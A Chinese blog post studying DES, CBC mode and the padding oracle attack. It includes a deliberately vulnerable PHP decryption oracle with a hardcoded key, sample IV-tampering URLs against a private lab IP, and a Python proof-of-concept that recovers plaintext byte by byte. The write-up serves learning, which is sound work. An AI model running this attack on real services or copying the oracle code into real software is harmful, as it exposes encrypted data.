从DES加密到Padding Oracle Attack

最近正好学了DES加密,然后在周末的NJCTF遇到了与去年的Seccon相近的题都涉及Padding Oracle漏洞,于是决定深入学习以下DES加密算法及Padding Oracle 漏洞

DES加密算法

DES中的加密算法可以参考这篇文章DES加密算法原理-进击的菜鸟

个人觉得加密过程并不难理解一张图足以解释

DES加密过程

难理解在子密钥生成的过程,好在早已经有人归纳好了

  • 先去除原始秘钥中的奇偶校验位即最后一位,然后根据选择置换表进行置换后获取C0和D0
  • 将D0和C0分别进行循环左移,生成C1和D1,合并后再通过对应的选择置换表置换后得到子密钥K1
  • 将C1和D1重复上面的操作得到K2,依次类推
  • 注意:循环左移的位数是不一样的,是有响应的参照表的(详情见上述链接A-3表)

DES子密钥流程

DES还存在其他的升级模式:ECB(电子密码本模式)、CBC(加密块链模式)、CFB(加密反馈模式)、OFB(输出反馈模式)。

CBC分组密码的链接模式

由于此处的Padding Oracle Attack是针对CBC分组密码的链接模式来讲的因此此处再讲讲CBC

其实Padding Oracle只针对CBC模式与上面的DES无直接关系,提到DES只是为了后面加深理解

CBC模式加密流程图 ↓

CBC加密流程图

CBC模式解密流程图 ↓

CBC解密流程图

理解以上两张图以后还需要知道以下这张图中的intermediary Value的意思,意为中间值(其实就是解密操作后的值)

CBC解密2

Padding Oracle Attack

然后任务就是看文章啦

我对Padding Oracle攻击的分析和思考

Padding Oracle Attack实例分析

看完这两篇我想padding oracle Attack应该能理解点了

Padding Oracle Attack 笔记

在看完这篇我想你大概能理解padding oracle漏洞在实际中的作用了

该种攻击方式主要需要两个条件才能实现

1、加密后密文已知且IV向量已知
2、攻击者可以通过操作来触发解密过程,且通过明文或者边信道的方式知道解密的结果(大多数时候,web解密成功则返回Status_code=200,失败则返回Status_code=500)

Padding Oracle复现

这是来自Bendawang师傅的复现代码,稍作修改

获取向量及密文

<?php
#cipher:262b4647cc70d363
#String:6265727472616d(bertram)
#iv:08fe1649311fd298

$cipher = MCRYPT_DES;
$key='123456789';
$modes = MCRYPT_MODE_CBC;

$iv=hex2bin($_GET['iv']);
//获取初始IV
#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);

echo bin2hex($iv)."<br>";
//获取明文
$string=bin2hex($_GET['str']);
echo $string."<br>";
$string=hex2bin($string);
echo $string."<br>";

$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);

#echo bin2hex($iv)."</br>";

echo "The chiper is :<br>".bin2hex($encode)."</br>";

echo "The String is :<br>".bin2hex($decode)."</br>";

?>

后台测试代码

<?php

$string = 'bertram';

$key = '123456789';

$cipher = MCRYPT_DES;

$modes = MCRYPT_MODE_CBC;

/*

#cipher:262b4647cc70d363
#String:6265727472616d(bertram)
#iv:08fe1649311fd298
*/

//获取攻击IV及密文
if(isset($_GET['iv'])&&isset($_GET['enc'])){

    $iv=hex2bin($_GET['iv']);
    #echo "the iv is:<br>";
    #echo $iv."<br>";

    $enc=hex2bin($_GET['enc']);

    $decode=mcrypt_decrypt($cipher,$key,$enc,$modes,$iv);

    #echo bin2hex($iv)."<br>";

    #echo bin2hex($encode)."<br>";
        #echo $decode."<br>";

    echo bin2hex($decode);

    $temp=bin2hex($decode);

}

else{
    $iv=hex2bin("2077f63bf88d26c0");
    $encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
    echo "the iv is <h2>".bin2hex($iv)."</h2><br>";
    echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";
}
?>

运行截图

pd_php

Test

payload:

http://192.168.5.142/?iv=0000000000000099&enc=262b4647cc70d363

返回值

6a9b643d437ebf01

padding成功

因为 中间值^0x99=0x01

得到 中间值=0x99^0x01

所以 中间值=0x98

于是通过中间值与原始IV异或便可以得到明文 0x98^0x98=0x00

没错我的明文是7位,因此最后一位为空(DES_CBC 8位分组)

继续测试倒数第二个明文

因为第一个中间值为0x98所以可得到提交IV的最后一个是0x98^0x02=0x9a

一番测试得到下一个payload:

http://192.168.5.142/?iv=000000000000bd9a&enc=262b4647cc70d363

接下去就是循环往复的过程了
测试poc献上

# -*- coding:utf-8 -*-
import requests

my_session=requests.Session()
url="http://192.168.5.142/"
iv="08fe1649311fd298"
encoded='262b4647cc70d363'
param={'iv':iv,'enc':encoded}

response=my_session.get(url,params=param)
string=response.content
tmp="00000000000000"
last=""
mid=""
Express=""

for k in xrange(8):
    for i in xrange(256):
        if i < 16:
            mid=str(hex(i)[2])
            You_iv=tmp[k*2:]+"0"+mid+last
        else:
            mid=str(hex(i)[2:])
            You_iv=tmp[k*2:]+mid+last
        #print You_iv
        #print '.',

        param={'iv':You_iv,'enc':encoded}
        response=my_session.get(url,params=param)
        string=response.content
        if string[(7-k)*2:(8-k)*2]=="0"+str(k+1):
            print "done!"
            print You_iv
            #print string
            #print "YOU_NEXT_IV_IS:   "+hex(eval("0x"+str(k+2))^eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1)))[2:]
            last=hex(eval("0x"+str(k+2))^eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1)))[2:]+last
            #print "YOU_CHAR_IS:   "+chr(eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1))^eval("0x"+iv[(7-k)*2:(8-k)*2]))
            Express=chr(eval("0x"+You_iv[(7-k)*2:(8-k)*2])^eval("0x"+str(k+1))^eval("0x"+iv[(7-k)*2:(8-k)*2]))+Express
            break
    print '=================='

print Express

代码略丑,只测试了第一个分组

Test_POC

最后谢谢Bendawang师傅给的点拨

参考链接:

padding oracle攻击原理分析(附带rsa资料)

Padding Oracle Attack实例分析

我对Padding Oracle攻击的分析和思考(详细)

发表评论